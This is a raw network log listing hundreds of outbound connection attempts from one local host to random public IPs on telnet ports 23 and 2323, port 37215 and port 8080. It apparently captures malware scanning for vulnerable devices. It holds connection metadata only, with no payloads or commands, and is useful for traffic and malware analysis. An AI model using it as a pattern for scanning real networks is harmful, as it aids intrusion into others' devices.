Dec 26, 2023 21:22:44.103666067 CET	36253	23	192.168.2.23	201.230.51.244
Dec 26, 2023 21:22:44.103666067 CET	36253	23	192.168.2.23	70.136.131.101
Dec 26, 2023 21:22:44.103666067 CET	36253	23	192.168.2.23	136.24.165.74
Dec 26, 2023 21:22:44.103667021 CET	36253	23	192.168.2.23	200.82.145.44
Dec 26, 2023 21:22:44.103666067 CET	36253	23	192.168.2.23	34.7.7.149
Dec 26, 2023 21:22:44.103667974 CET	36253	23	192.168.2.23	149.162.192.178
Dec 26, 2023 21:22:44.103666067 CET	36253	23	192.168.2.23	117.37.111.103
Dec 26, 2023 21:22:44.103673935 CET	36253	23	192.168.2.23	162.152.143.128
Dec 26, 2023 21:22:44.103673935 CET	36253	23	192.168.2.23	125.218.21.222
Dec 26, 2023 21:22:44.103673935 CET	36253	23	192.168.2.23	140.142.160.30
Dec 26, 2023 21:22:44.103673935 CET	36253	23	192.168.2.23	194.186.131.158
Dec 26, 2023 21:22:44.103673935 CET	36253	23	192.168.2.23	119.75.37.124
Dec 26, 2023 21:22:44.103673935 CET	36253	23	192.168.2.23	50.24.199.248
Dec 26, 2023 21:22:44.103674889 CET	36253	23	192.168.2.23	205.94.189.87
Dec 26, 2023 21:22:44.103674889 CET	36253	23	192.168.2.23	100.162.159.181
Dec 26, 2023 21:22:44.103677034 CET	36253	23	192.168.2.23	121.84.65.225
Dec 26, 2023 21:22:44.103677034 CET	36253	23	192.168.2.23	202.219.7.175
Dec 26, 2023 21:22:44.103686094 CET	36253	2323	192.168.2.23	197.222.116.192
Dec 26, 2023 21:22:44.103688955 CET	36253	23	192.168.2.23	51.168.7.141
Dec 26, 2023 21:22:44.103688955 CET	36253	23	192.168.2.23	149.196.231.143
Dec 26, 2023 21:22:44.103688955 CET	36253	23	192.168.2.23	46.205.163.244
Dec 26, 2023 21:22:44.103688955 CET	36253	23	192.168.2.23	156.60.114.63
Dec 26, 2023 21:22:44.103692055 CET	36253	23	192.168.2.23	61.103.11.97
Dec 26, 2023 21:22:44.103708029 CET	36253	23	192.168.2.23	53.164.229.36
Dec 26, 2023 21:22:44.103719950 CET	36253	2323	192.168.2.23	34.248.218.156
Dec 26, 2023 21:22:44.103723049 CET	36253	23	192.168.2.23	158.193.63.155
Dec 26, 2023 21:22:44.103723049 CET	36253	23	192.168.2.23	51.223.131.67
Dec 26, 2023 21:22:44.103723049 CET	36253	23	192.168.2.23	120.212.228.216
Dec 26, 2023 21:22:44.103723049 CET	36253	23	192.168.2.23	148.41.111.21
Dec 26, 2023 21:22:44.103724003 CET	36253	23	192.168.2.23	97.24.80.43
Dec 26, 2023 21:22:44.103724003 CET	36253	23	192.168.2.23	217.47.0.0
Dec 26, 2023 21:22:44.103724003 CET	36253	23	192.168.2.23	70.91.53.227
Dec 26, 2023 21:22:44.103729010 CET	36253	2323	192.168.2.23	23.183.150.224
Dec 26, 2023 21:22:44.103729010 CET	36253	23	192.168.2.23	41.8.231.36
Dec 26, 2023 21:22:44.103729010 CET	36253	23	192.168.2.23	78.1.84.113
Dec 26, 2023 21:22:44.103732109 CET	36253	23	192.168.2.23	72.223.186.140
Dec 26, 2023 21:22:44.103733063 CET	36253	23	192.168.2.23	200.229.151.8
Dec 26, 2023 21:22:44.103733063 CET	36253	23	192.168.2.23	37.94.109.113
Dec 26, 2023 21:22:44.103734970 CET	36253	23	192.168.2.23	198.83.148.238
Dec 26, 2023 21:22:44.103735924 CET	36253	23	192.168.2.23	132.124.185.167
Dec 26, 2023 21:22:44.103733063 CET	36253	23	192.168.2.23	204.222.190.9
Dec 26, 2023 21:22:44.103734970 CET	36253	23	192.168.2.23	217.194.75.132
Dec 26, 2023 21:22:44.103733063 CET	36253	23	192.168.2.23	148.99.82.147
Dec 26, 2023 21:22:44.103735924 CET	36253	23	192.168.2.23	187.174.149.208
Dec 26, 2023 21:22:44.103734970 CET	36253	23	192.168.2.23	201.138.132.133
Dec 26, 2023 21:22:44.103733063 CET	36253	23	192.168.2.23	49.188.165.142
Dec 26, 2023 21:22:44.103735924 CET	36253	23	192.168.2.23	82.252.69.156
Dec 26, 2023 21:22:44.103750944 CET	36253	23	192.168.2.23	209.69.156.153
Dec 26, 2023 21:22:44.103755951 CET	36253	23	192.168.2.23	157.228.209.45
Dec 26, 2023 21:22:44.103755951 CET	36253	23	192.168.2.23	12.118.184.235
Dec 26, 2023 21:22:44.103755951 CET	36253	23	192.168.2.23	13.120.82.14
Dec 26, 2023 21:22:44.103755951 CET	36253	23	192.168.2.23	45.117.104.175
Dec 26, 2023 21:22:44.103758097 CET	36253	23	192.168.2.23	219.182.117.10
Dec 26, 2023 21:22:44.103761911 CET	36253	2323	192.168.2.23	83.93.248.146
Dec 26, 2023 21:22:44.103761911 CET	36253	23	192.168.2.23	58.163.216.45
Dec 26, 2023 21:22:44.103768110 CET	36253	23	192.168.2.23	91.186.74.203
Dec 26, 2023 21:22:44.103768110 CET	36253	2323	192.168.2.23	38.196.19.19
Dec 26, 2023 21:22:44.103770971 CET	36253	23	192.168.2.23	12.47.204.165
Dec 26, 2023 21:22:44.103770971 CET	36253	23	192.168.2.23	80.214.3.159
Dec 26, 2023 21:22:44.103770971 CET	36253	23	192.168.2.23	37.17.7.79
Dec 26, 2023 21:22:44.103780031 CET	36253	23	192.168.2.23	4.124.244.230
Dec 26, 2023 21:22:44.103782892 CET	36253	23	192.168.2.23	12.249.201.41
Dec 26, 2023 21:22:44.103786945 CET	36253	23	192.168.2.23	109.189.165.147
Dec 26, 2023 21:22:44.103790045 CET	36253	23	192.168.2.23	131.119.168.244
Dec 26, 2023 21:22:44.103796005 CET	36253	23	192.168.2.23	59.91.57.84
Dec 26, 2023 21:22:44.103804111 CET	36253	23	192.168.2.23	147.9.139.192
Dec 26, 2023 21:22:44.103805065 CET	36253	23	192.168.2.23	24.70.243.108
Dec 26, 2023 21:22:44.103818893 CET	36253	23	192.168.2.23	54.190.119.173
Dec 26, 2023 21:22:44.103820086 CET	36253	2323	192.168.2.23	186.76.74.48
Dec 26, 2023 21:22:44.103830099 CET	36253	23	192.168.2.23	35.249.84.108
Dec 26, 2023 21:22:44.103832006 CET	36253	23	192.168.2.23	109.253.113.14
Dec 26, 2023 21:22:44.103837967 CET	36253	23	192.168.2.23	161.220.126.170
Dec 26, 2023 21:22:44.103854895 CET	36253	23	192.168.2.23	99.195.201.165
Dec 26, 2023 21:22:44.103857994 CET	36253	23	192.168.2.23	110.252.26.193
Dec 26, 2023 21:22:44.103858948 CET	36253	23	192.168.2.23	65.94.96.221
Dec 26, 2023 21:22:44.103869915 CET	36253	23	192.168.2.23	72.110.34.226
Dec 26, 2023 21:22:44.103869915 CET	36253	23	192.168.2.23	207.183.251.112
Dec 26, 2023 21:22:44.103872061 CET	36253	23	192.168.2.23	124.19.121.132
Dec 26, 2023 21:22:44.103872061 CET	36253	2323	192.168.2.23	113.213.104.76
Dec 26, 2023 21:22:44.103874922 CET	36253	23	192.168.2.23	105.242.54.219
Dec 26, 2023 21:22:44.103879929 CET	36253	23	192.168.2.23	194.10.65.182
Dec 26, 2023 21:22:44.103883028 CET	36253	23	192.168.2.23	193.122.124.50
Dec 26, 2023 21:22:44.105622053 CET	45981	37215	192.168.2.23	157.45.234.174
Dec 26, 2023 21:22:44.105624914 CET	45981	37215	192.168.2.23	157.192.94.140
Dec 26, 2023 21:22:44.105628014 CET	45981	37215	192.168.2.23	157.173.174.110
Dec 26, 2023 21:22:44.105638027 CET	45981	37215	192.168.2.23	157.191.188.254
Dec 26, 2023 21:22:44.105638027 CET	45981	37215	192.168.2.23	157.60.251.254
Dec 26, 2023 21:22:44.105643034 CET	45981	37215	192.168.2.23	157.122.179.174
Dec 26, 2023 21:22:44.105652094 CET	45981	37215	192.168.2.23	157.18.230.118
Dec 26, 2023 21:22:44.105662107 CET	45981	37215	192.168.2.23	157.234.181.186
Dec 26, 2023 21:22:44.105675936 CET	45981	37215	192.168.2.23	157.166.112.220
Dec 26, 2023 21:22:44.105678082 CET	45981	37215	192.168.2.23	157.191.167.120
Dec 26, 2023 21:22:44.105688095 CET	45981	37215	192.168.2.23	157.243.155.17
Dec 26, 2023 21:22:44.105694056 CET	45981	37215	192.168.2.23	157.157.145.51
Dec 26, 2023 21:22:44.105709076 CET	45981	37215	192.168.2.23	157.78.16.156
Dec 26, 2023 21:22:44.105715036 CET	45981	37215	192.168.2.23	157.51.25.17
Dec 26, 2023 21:22:44.105726957 CET	45981	37215	192.168.2.23	157.226.225.221
Dec 26, 2023 21:22:44.105727911 CET	45981	37215	192.168.2.23	157.196.13.46
Dec 26, 2023 21:22:44.105735064 CET	45981	37215	192.168.2.23	157.214.177.203
Dec 26, 2023 21:22:44.105736017 CET	45981	37215	192.168.2.23	157.174.26.246
Dec 26, 2023 21:22:44.105747938 CET	45981	37215	192.168.2.23	157.151.245.33
Dec 26, 2023 21:22:44.105756998 CET	45981	37215	192.168.2.23	157.183.207.21
Dec 26, 2023 21:22:44.105757952 CET	45981	37215	192.168.2.23	157.200.50.81
Dec 26, 2023 21:22:44.105768919 CET	45981	37215	192.168.2.23	157.131.133.31
Dec 26, 2023 21:22:44.105777979 CET	45981	37215	192.168.2.23	157.252.70.163
Dec 26, 2023 21:22:44.105786085 CET	45981	37215	192.168.2.23	157.105.189.55
Dec 26, 2023 21:22:44.105793953 CET	45981	37215	192.168.2.23	157.68.208.110
Dec 26, 2023 21:22:44.105794907 CET	45981	37215	192.168.2.23	157.20.13.38
Dec 26, 2023 21:22:44.105814934 CET	45981	37215	192.168.2.23	157.73.84.58
Dec 26, 2023 21:22:44.105818987 CET	45981	37215	192.168.2.23	157.33.213.183
Dec 26, 2023 21:22:44.105819941 CET	45981	37215	192.168.2.23	157.145.180.178
Dec 26, 2023 21:22:44.105835915 CET	45981	37215	192.168.2.23	157.163.145.239
Dec 26, 2023 21:22:44.105837107 CET	45981	37215	192.168.2.23	157.214.42.125
Dec 26, 2023 21:22:44.105844975 CET	45981	37215	192.168.2.23	157.34.163.5
Dec 26, 2023 21:22:44.105855942 CET	45981	37215	192.168.2.23	157.181.177.168
Dec 26, 2023 21:22:44.105859995 CET	45981	37215	192.168.2.23	157.104.0.31
Dec 26, 2023 21:22:44.105878115 CET	45981	37215	192.168.2.23	157.234.224.161
Dec 26, 2023 21:22:44.105878115 CET	45981	37215	192.168.2.23	157.245.37.221
Dec 26, 2023 21:22:44.105895042 CET	45981	37215	192.168.2.23	157.184.37.32
Dec 26, 2023 21:22:44.105896950 CET	45981	37215	192.168.2.23	157.7.128.198
Dec 26, 2023 21:22:44.105899096 CET	45981	37215	192.168.2.23	157.120.176.13
Dec 26, 2023 21:22:44.105904102 CET	45981	37215	192.168.2.23	157.251.68.66
Dec 26, 2023 21:22:44.105911970 CET	45981	37215	192.168.2.23	157.196.133.1
Dec 26, 2023 21:22:44.105916977 CET	45981	37215	192.168.2.23	157.205.138.109
Dec 26, 2023 21:22:44.105926037 CET	45981	37215	192.168.2.23	157.221.184.107
Dec 26, 2023 21:22:44.105936050 CET	45981	37215	192.168.2.23	157.113.228.164
Dec 26, 2023 21:22:44.105937004 CET	45981	37215	192.168.2.23	157.218.88.208
Dec 26, 2023 21:22:44.105945110 CET	45981	37215	192.168.2.23	157.223.218.114
Dec 26, 2023 21:22:44.105947018 CET	45981	37215	192.168.2.23	157.33.65.51
Dec 26, 2023 21:22:44.105952024 CET	45981	37215	192.168.2.23	157.183.85.62
Dec 26, 2023 21:22:44.105963945 CET	45981	37215	192.168.2.23	157.63.208.61
Dec 26, 2023 21:22:44.105976105 CET	45981	37215	192.168.2.23	157.235.65.35
Dec 26, 2023 21:22:44.105978966 CET	45981	37215	192.168.2.23	157.51.192.139
Dec 26, 2023 21:22:44.105984926 CET	45981	37215	192.168.2.23	157.241.250.246
Dec 26, 2023 21:22:44.105999947 CET	45981	37215	192.168.2.23	157.104.252.194
Dec 26, 2023 21:22:44.106002092 CET	45981	37215	192.168.2.23	157.115.199.79
Dec 26, 2023 21:22:44.106013060 CET	45981	37215	192.168.2.23	157.105.221.90
Dec 26, 2023 21:22:44.106023073 CET	45981	37215	192.168.2.23	157.83.41.157
Dec 26, 2023 21:22:44.106028080 CET	45981	37215	192.168.2.23	157.3.3.236
Dec 26, 2023 21:22:44.106028080 CET	45981	37215	192.168.2.23	157.118.110.254
Dec 26, 2023 21:22:44.106045961 CET	45981	37215	192.168.2.23	157.23.7.23
Dec 26, 2023 21:22:44.106050014 CET	45981	37215	192.168.2.23	157.141.69.55
Dec 26, 2023 21:22:44.106062889 CET	45981	37215	192.168.2.23	157.4.49.15
Dec 26, 2023 21:22:44.106065989 CET	45981	37215	192.168.2.23	157.54.107.153
Dec 26, 2023 21:22:44.106071949 CET	45981	37215	192.168.2.23	157.151.83.109
Dec 26, 2023 21:22:44.106081009 CET	45981	37215	192.168.2.23	157.77.131.116
Dec 26, 2023 21:22:44.106084108 CET	45981	37215	192.168.2.23	157.65.244.90
Dec 26, 2023 21:22:44.106095076 CET	45981	37215	192.168.2.23	157.160.222.23
Dec 26, 2023 21:22:44.106098890 CET	45981	37215	192.168.2.23	157.209.198.183
Dec 26, 2023 21:22:44.106112957 CET	45981	37215	192.168.2.23	157.124.226.73
Dec 26, 2023 21:22:44.106117010 CET	45981	37215	192.168.2.23	157.235.97.18
Dec 26, 2023 21:22:44.106117010 CET	45981	37215	192.168.2.23	157.141.53.35
Dec 26, 2023 21:22:44.106137991 CET	45981	37215	192.168.2.23	157.45.7.43
Dec 26, 2023 21:22:44.106137991 CET	45981	37215	192.168.2.23	157.174.125.136
Dec 26, 2023 21:22:44.106137991 CET	45981	37215	192.168.2.23	157.92.137.190
Dec 26, 2023 21:22:44.106148958 CET	45981	37215	192.168.2.23	157.225.2.75
Dec 26, 2023 21:22:44.106163025 CET	45981	37215	192.168.2.23	157.24.44.238
Dec 26, 2023 21:22:44.106163979 CET	45981	37215	192.168.2.23	157.170.108.249
Dec 26, 2023 21:22:44.106180906 CET	45981	37215	192.168.2.23	157.154.232.254
Dec 26, 2023 21:22:44.106182098 CET	45981	37215	192.168.2.23	157.220.206.238
Dec 26, 2023 21:22:44.106192112 CET	45981	37215	192.168.2.23	157.6.21.122
Dec 26, 2023 21:22:44.106204987 CET	45981	37215	192.168.2.23	157.221.120.250
Dec 26, 2023 21:22:44.106204987 CET	45981	37215	192.168.2.23	157.204.39.232
Dec 26, 2023 21:22:44.106218100 CET	45981	37215	192.168.2.23	157.113.116.129
Dec 26, 2023 21:22:44.106228113 CET	45981	37215	192.168.2.23	157.254.14.247
Dec 26, 2023 21:22:44.106228113 CET	45981	37215	192.168.2.23	157.230.199.85
Dec 26, 2023 21:22:44.106244087 CET	45981	37215	192.168.2.23	157.71.147.127
Dec 26, 2023 21:22:44.106250048 CET	45981	37215	192.168.2.23	157.2.30.225
Dec 26, 2023 21:22:44.106265068 CET	45981	37215	192.168.2.23	157.43.219.106
Dec 26, 2023 21:22:44.106268883 CET	45981	37215	192.168.2.23	157.216.0.21
Dec 26, 2023 21:22:44.106276035 CET	45981	37215	192.168.2.23	157.10.92.229
Dec 26, 2023 21:22:44.106287956 CET	45981	37215	192.168.2.23	157.130.176.77
Dec 26, 2023 21:22:44.106287956 CET	45981	37215	192.168.2.23	157.201.47.212
Dec 26, 2023 21:22:44.106302023 CET	45981	37215	192.168.2.23	157.159.155.246
Dec 26, 2023 21:22:44.106307030 CET	45981	37215	192.168.2.23	157.25.42.240
Dec 26, 2023 21:22:44.106314898 CET	45981	37215	192.168.2.23	157.109.71.104
Dec 26, 2023 21:22:44.106321096 CET	45981	37215	192.168.2.23	157.22.245.75
Dec 26, 2023 21:22:44.106328011 CET	45981	37215	192.168.2.23	157.47.20.253
Dec 26, 2023 21:22:44.106342077 CET	45981	37215	192.168.2.23	157.12.187.106
Dec 26, 2023 21:22:44.106342077 CET	45981	37215	192.168.2.23	157.149.139.201
Dec 26, 2023 21:22:44.106344938 CET	45981	37215	192.168.2.23	157.204.126.169
Dec 26, 2023 21:22:44.106344938 CET	45981	37215	192.168.2.23	157.103.191.123
Dec 26, 2023 21:22:44.106359005 CET	45981	37215	192.168.2.23	157.9.70.50
Dec 26, 2023 21:22:44.106369019 CET	45981	37215	192.168.2.23	157.61.151.250
Dec 26, 2023 21:22:44.106370926 CET	45981	37215	192.168.2.23	157.23.143.183
Dec 26, 2023 21:22:44.106379986 CET	45981	37215	192.168.2.23	157.151.104.168
Dec 26, 2023 21:22:44.106385946 CET	45981	37215	192.168.2.23	157.18.233.56
Dec 26, 2023 21:22:44.106395006 CET	45981	37215	192.168.2.23	157.47.196.168
Dec 26, 2023 21:22:44.106401920 CET	45981	37215	192.168.2.23	157.25.187.5
Dec 26, 2023 21:22:44.106406927 CET	45981	37215	192.168.2.23	157.227.54.224
Dec 26, 2023 21:22:44.106419086 CET	45981	37215	192.168.2.23	157.52.49.144
Dec 26, 2023 21:22:44.106425047 CET	45981	37215	192.168.2.23	157.61.207.249
Dec 26, 2023 21:22:44.106437922 CET	45981	37215	192.168.2.23	157.168.147.239
Dec 26, 2023 21:22:44.106450081 CET	45981	37215	192.168.2.23	157.160.37.116
Dec 26, 2023 21:22:44.106456995 CET	45981	37215	192.168.2.23	157.56.80.91
Dec 26, 2023 21:22:44.106465101 CET	45981	37215	192.168.2.23	157.202.43.236
Dec 26, 2023 21:22:44.106472015 CET	45981	37215	192.168.2.23	157.76.199.156
Dec 26, 2023 21:22:44.106486082 CET	45981	37215	192.168.2.23	157.93.222.22
Dec 26, 2023 21:22:44.106486082 CET	45981	37215	192.168.2.23	157.228.28.128
Dec 26, 2023 21:22:44.106504917 CET	45981	37215	192.168.2.23	157.104.156.165
Dec 26, 2023 21:22:44.106506109 CET	45981	37215	192.168.2.23	157.38.84.226
Dec 26, 2023 21:22:44.106509924 CET	45981	37215	192.168.2.23	157.169.60.59
Dec 26, 2023 21:22:44.106518030 CET	45981	37215	192.168.2.23	157.19.80.240
Dec 26, 2023 21:22:44.106522083 CET	45981	37215	192.168.2.23	157.25.39.188
Dec 26, 2023 21:22:44.106527090 CET	45981	37215	192.168.2.23	157.142.64.108
Dec 26, 2023 21:22:44.106538057 CET	45981	37215	192.168.2.23	157.132.161.240
Dec 26, 2023 21:22:44.106538057 CET	45981	37215	192.168.2.23	157.72.98.105
Dec 26, 2023 21:22:44.106549025 CET	45981	37215	192.168.2.23	157.18.212.106
Dec 26, 2023 21:22:44.106559992 CET	45981	37215	192.168.2.23	157.207.231.80
Dec 26, 2023 21:22:44.106566906 CET	45981	37215	192.168.2.23	157.64.24.247
Dec 26, 2023 21:22:44.106569052 CET	45981	37215	192.168.2.23	157.193.8.106
Dec 26, 2023 21:22:44.106587887 CET	45981	37215	192.168.2.23	157.137.115.217
Dec 26, 2023 21:22:44.106589079 CET	45981	37215	192.168.2.23	157.20.164.26
Dec 26, 2023 21:22:44.106590033 CET	45981	37215	192.168.2.23	157.65.102.26
Dec 26, 2023 21:22:44.106590033 CET	45981	37215	192.168.2.23	157.45.248.97
Dec 26, 2023 21:22:44.106610060 CET	45981	37215	192.168.2.23	157.142.204.115
Dec 26, 2023 21:22:44.106616020 CET	45981	37215	192.168.2.23	157.58.160.94
Dec 26, 2023 21:22:44.106626034 CET	45981	37215	192.168.2.23	157.156.56.119
Dec 26, 2023 21:22:44.106631994 CET	45981	37215	192.168.2.23	157.47.169.210
Dec 26, 2023 21:22:44.106642008 CET	45981	37215	192.168.2.23	157.103.10.243
Dec 26, 2023 21:22:44.106642962 CET	45981	37215	192.168.2.23	157.34.134.207
Dec 26, 2023 21:22:44.106650114 CET	45981	37215	192.168.2.23	157.11.144.4
Dec 26, 2023 21:22:44.106662035 CET	45981	37215	192.168.2.23	157.11.15.221
Dec 26, 2023 21:22:44.106662035 CET	45981	37215	192.168.2.23	157.115.7.105
Dec 26, 2023 21:22:44.106671095 CET	45981	37215	192.168.2.23	157.215.177.83
Dec 26, 2023 21:22:44.106674910 CET	45981	37215	192.168.2.23	157.60.232.64
Dec 26, 2023 21:22:44.106676102 CET	45981	37215	192.168.2.23	157.229.175.113
Dec 26, 2023 21:22:44.106689930 CET	45981	37215	192.168.2.23	157.43.238.128
Dec 26, 2023 21:22:44.106695890 CET	45981	37215	192.168.2.23	157.99.5.228
Dec 26, 2023 21:22:44.106703997 CET	45981	37215	192.168.2.23	157.118.16.137
Dec 26, 2023 21:22:44.106712103 CET	45981	37215	192.168.2.23	157.223.213.245
Dec 26, 2023 21:22:44.106715918 CET	45981	37215	192.168.2.23	157.164.206.23
Dec 26, 2023 21:22:44.106724977 CET	45981	37215	192.168.2.23	157.131.92.104
Dec 26, 2023 21:22:44.106730938 CET	45981	37215	192.168.2.23	157.192.17.210
Dec 26, 2023 21:22:44.106746912 CET	45981	37215	192.168.2.23	157.255.120.219
Dec 26, 2023 21:22:44.106746912 CET	45981	37215	192.168.2.23	157.60.45.31
Dec 26, 2023 21:22:44.106759071 CET	45981	37215	192.168.2.23	157.212.4.79
Dec 26, 2023 21:22:44.106759071 CET	45981	37215	192.168.2.23	157.162.142.55
Dec 26, 2023 21:22:44.106776953 CET	45981	37215	192.168.2.23	157.176.65.237
Dec 26, 2023 21:22:44.106784105 CET	45981	37215	192.168.2.23	157.10.133.90
Dec 26, 2023 21:22:44.106786013 CET	45981	37215	192.168.2.23	157.99.53.189
Dec 26, 2023 21:22:44.106796980 CET	45981	37215	192.168.2.23	157.147.109.201
Dec 26, 2023 21:22:44.113400936 CET	45469	8080	192.168.2.23	62.201.215.179
Dec 26, 2023 21:22:44.113403082 CET	45469	8080	192.168.2.23	85.74.40.126
Dec 26, 2023 21:22:44.113406897 CET	45469	8080	192.168.2.23	94.237.20.70
Dec 26, 2023 21:22:44.113421917 CET	45469	8080	192.168.2.23	95.6.149.60
Dec 26, 2023 21:22:44.113430023 CET	45469	8080	192.168.2.23	62.213.229.135
Dec 26, 2023 21:22:44.113435030 CET	45469	8080	192.168.2.23	31.144.46.170
Dec 26, 2023 21:22:44.113435030 CET	45469	8080	192.168.2.23	31.87.151.141
Dec 26, 2023 21:22:44.113451958 CET	45469	8080	192.168.2.23	31.202.217.138
Dec 26, 2023 21:22:44.113468885 CET	45469	8080	192.168.2.23	95.86.29.94
Dec 26, 2023 21:22:44.113472939 CET	45469	8080	192.168.2.23	85.188.82.36
Dec 26, 2023 21:22:44.113472939 CET	45469	8080	192.168.2.23	62.44.96.155
Dec 26, 2023 21:22:44.113478899 CET	45469	8080	192.168.2.23	94.32.199.163
Dec 26, 2023 21:22:44.113486052 CET	45469	8080	192.168.2.23	31.214.50.45
Dec 26, 2023 21:22:44.113500118 CET	45469	8080	192.168.2.23	62.160.29.121
Dec 26, 2023 21:22:44.113517046 CET	45469	8080	192.168.2.23	94.11.154.57
Dec 26, 2023 21:22:44.113521099 CET	45469	8080	192.168.2.23	62.37.232.66
Dec 26, 2023 21:22:44.113527060 CET	45469	8080	192.168.2.23	94.173.111.231
Dec 26, 2023 21:22:44.113527060 CET	45469	8080	192.168.2.23	31.216.151.202
Dec 26, 2023 21:22:44.113544941 CET	45469	8080	192.168.2.23	94.252.28.28
Dec 26, 2023 21:22:44.113544941 CET	45469	8080	192.168.2.23	62.146.243.93
Dec 26, 2023 21:22:44.113554955 CET	45469	8080	192.168.2.23	85.86.17.24
Dec 26, 2023 21:22:44.113560915 CET	45469	8080	192.168.2.23	31.161.109.186
Dec 26, 2023 21:22:44.113569975 CET	45469	8080	192.168.2.23	62.3.72.123
Dec 26, 2023 21:22:44.113569975 CET	45469	8080	192.168.2.23	95.170.228.127
Dec 26, 2023 21:22:44.113589048 CET	45469	8080	192.168.2.23	62.203.240.238
Dec 26, 2023 21:22:44.113603115 CET	45469	8080	192.168.2.23	31.21.6.60
Dec 26, 2023 21:22:44.113609076 CET	45469	8080	192.168.2.23	94.24.82.144
Dec 26, 2023 21:22:44.113611937 CET	45469	8080	192.168.2.23	62.172.104.251
Dec 26, 2023 21:22:44.113625050 CET	45469	8080	192.168.2.23	95.47.165.140
Dec 26, 2023 21:22:44.113636971 CET	45469	8080	192.168.2.23	31.96.146.156
Dec 26, 2023 21:22:44.113646030 CET	45469	8080	192.168.2.23	85.123.77.63
Dec 26, 2023 21:22:44.113652945 CET	45469	8080	192.168.2.23	85.134.100.11
Dec 26, 2023 21:22:44.113670111 CET	45469	8080	192.168.2.23	31.180.121.221
Dec 26, 2023 21:22:44.113671064 CET	45469	8080	192.168.2.23	85.26.195.178
Dec 26, 2023 21:22:44.113681078 CET	45469	8080	192.168.2.23	85.163.128.74
Dec 26, 2023 21:22:44.113698006 CET	45469	8080	192.168.2.23	94.167.88.65
Dec 26, 2023 21:22:44.113704920 CET	45469	8080	192.168.2.23	85.180.122.252
Dec 26, 2023 21:22:44.113717079 CET	45469	8080	192.168.2.23	31.97.3.88
Dec 26, 2023 21:22:44.113718987 CET	45469	8080	192.168.2.23	62.245.60.72
Dec 26, 2023 21:22:44.113723993 CET	45469	8080	192.168.2.23	95.21.4.40
Dec 26, 2023 21:22:44.113744020 CET	45469	8080	192.168.2.23	85.97.93.101
Dec 26, 2023 21:22:44.113755941 CET	45469	8080	192.168.2.23	62.121.12.183
Dec 26, 2023 21:22:44.113755941 CET	45469	8080	192.168.2.23	94.150.5.3
Dec 26, 2023 21:22:44.113770962 CET	45469	8080	192.168.2.23	62.228.104.93
Dec 26, 2023 21:22:44.113787889 CET	45469	8080	192.168.2.23	85.203.202.42
Dec 26, 2023 21:22:44.113791943 CET	45469	8080	192.168.2.23	94.152.169.79
Dec 26, 2023 21:22:44.113797903 CET	45469	8080	192.168.2.23	85.162.208.36
Dec 26, 2023 21:22:44.113811016 CET	45469	8080	192.168.2.23	85.75.205.12
Dec 26, 2023 21:22:44.113821983 CET	45469	8080	192.168.2.23	94.28.28.81
Dec 26, 2023 21:22:44.113826990 CET	45469	8080	192.168.2.23	85.31.108.111
Dec 26, 2023 21:22:44.113831997 CET	45469	8080	192.168.2.23	62.91.181.49
Dec 26, 2023 21:22:44.113843918 CET	45469	8080	192.168.2.23	62.15.14.80
Dec 26, 2023 21:22:44.113850117 CET	45469	8080	192.168.2.23	95.102.210.115
Dec 26, 2023 21:22:44.113854885 CET	45469	8080	192.168.2.23	85.70.139.71
Dec 26, 2023 21:22:44.113859892 CET	45469	8080	192.168.2.23	85.44.85.246
Dec 26, 2023 21:22:44.113862991 CET	45469	8080	192.168.2.23	94.5.41.124
Dec 26, 2023 21:22:44.113862991 CET	45469	8080	192.168.2.23	31.224.234.169
Dec 26, 2023 21:22:44.113877058 CET	45469	8080	192.168.2.23	62.177.173.181
Dec 26, 2023 21:22:44.113899946 CET	45469	8080	192.168.2.23	95.15.247.168
Dec 26, 2023 21:22:44.113907099 CET	45469	8080	192.168.2.23	94.16.255.19
Dec 26, 2023 21:22:44.113917112 CET	45469	8080	192.168.2.23	85.228.116.69
Dec 26, 2023 21:22:44.113935947 CET	45469	8080	192.168.2.23	85.120.65.97
Dec 26, 2023 21:22:44.113941908 CET	45469	8080	192.168.2.23	62.234.51.26
Dec 26, 2023 21:22:44.113945961 CET	45469	8080	192.168.2.23	95.90.53.139
Dec 26, 2023 21:22:44.113946915 CET	45469	8080	192.168.2.23	85.27.62.32
Dec 26, 2023 21:22:44.113950968 CET	45469	8080	192.168.2.23	94.2.10.50
Dec 26, 2023 21:22:44.113965034 CET	45469	8080	192.168.2.23	95.61.55.169
Dec 26, 2023 21:22:44.113980055 CET	45469	8080	192.168.2.23	94.171.30.191
Dec 26, 2023 21:22:44.113984108 CET	45469	8080	192.168.2.23	31.1.222.241
Dec 26, 2023 21:22:44.114005089 CET	45469	8080	192.168.2.23	95.40.201.42
Dec 26, 2023 21:22:44.114010096 CET	45469	8080	192.168.2.23	95.55.109.33
Dec 26, 2023 21:22:44.114010096 CET	45469	8080	192.168.2.23	95.152.22.172
Dec 26, 2023 21:22:44.114022017 CET	45469	8080	192.168.2.23	85.17.200.124
Dec 26, 2023 21:22:44.114028931 CET	45469	8080	192.168.2.23	94.64.44.110
Dec 26, 2023 21:22:44.114038944 CET	45469	8080	192.168.2.23	94.194.76.237
Dec 26, 2023 21:22:44.114057064 CET	45469	8080	192.168.2.23	95.76.59.190
Dec 26, 2023 21:22:44.114058971 CET	45469	8080	192.168.2.23	95.54.193.50
Dec 26, 2023 21:22:44.114074945 CET	45469	8080	192.168.2.23	62.185.185.40
Dec 26, 2023 21:22:44.114084959 CET	45469	8080	192.168.2.23	94.169.117.54
Dec 26, 2023 21:22:44.114097118 CET	45469	8080	192.168.2.23	95.213.143.141
Dec 26, 2023 21:22:44.114113092 CET	45469	8080	192.168.2.23	95.7.252.155
Dec 26, 2023 21:22:44.114120007 CET	45469	8080	192.168.2.23	62.110.253.97
Dec 26, 2023 21:22:44.114130974 CET	45469	8080	192.168.2.23	62.55.118.130
Dec 26, 2023 21:22:44.114145041 CET	45469	8080	192.168.2.23	95.90.191.109
Dec 26, 2023 21:22:44.114145994 CET	45469	8080	192.168.2.23	31.166.147.166
Dec 26, 2023 21:22:44.114162922 CET	45469	8080	192.168.2.23	94.102.61.166
Dec 26, 2023 21:22:44.114171028 CET	45469	8080	192.168.2.23	94.210.64.72
Dec 26, 2023 21:22:44.114173889 CET	45469	8080	192.168.2.23	62.160.117.47
Dec 26, 2023 21:22:44.114173889 CET	45469	8080	192.168.2.23	62.66.141.43
Dec 26, 2023 21:22:44.114181042 CET	45469	8080	192.168.2.23	94.75.122.144
Dec 26, 2023 21:22:44.114200115 CET	45469	8080	192.168.2.23	95.218.201.68
Dec 26, 2023 21:22:44.114217043 CET	45469	8080	192.168.2.23	94.193.172.224
Dec 26, 2023 21:22:44.114217043 CET	45469	8080	192.168.2.23	94.133.117.37
